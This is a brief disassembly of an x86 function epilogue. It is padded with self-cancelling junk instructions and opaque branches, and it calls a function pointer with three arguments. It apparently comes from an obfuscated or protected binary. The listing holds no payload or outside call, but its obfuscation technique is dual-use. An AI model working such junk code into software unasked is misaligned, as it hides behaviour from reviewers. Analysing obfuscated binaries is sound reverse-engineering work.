cmp dword [ebp - 8], 0
je 0x437e4d
xor ebx, dword [esp + 0xc]
xor ebx, dword [esp + 0xc]
jno 0x437e19
pushf
lea edi, [edi + 0x3cb4]
lea edi, [edi - 0x3cb4]
popf
xchg edi, eax
xchg edi, eax
jo 0x437e19
mov edx, 0x50f8458b
mov eax, dword [ebp - 8]
push eax
call fcn.0045b8ce
add esp, 4
test esp, 0x1e3e
jl 0x437e3c
pushf
test ecx, esi
jp 0x437e33
popf
xchg edx, edi
xchg edx, edi
jge 0x437e3c
call 0x5153cbcb
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [ebp - 8]
jmp 0x437e4f
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc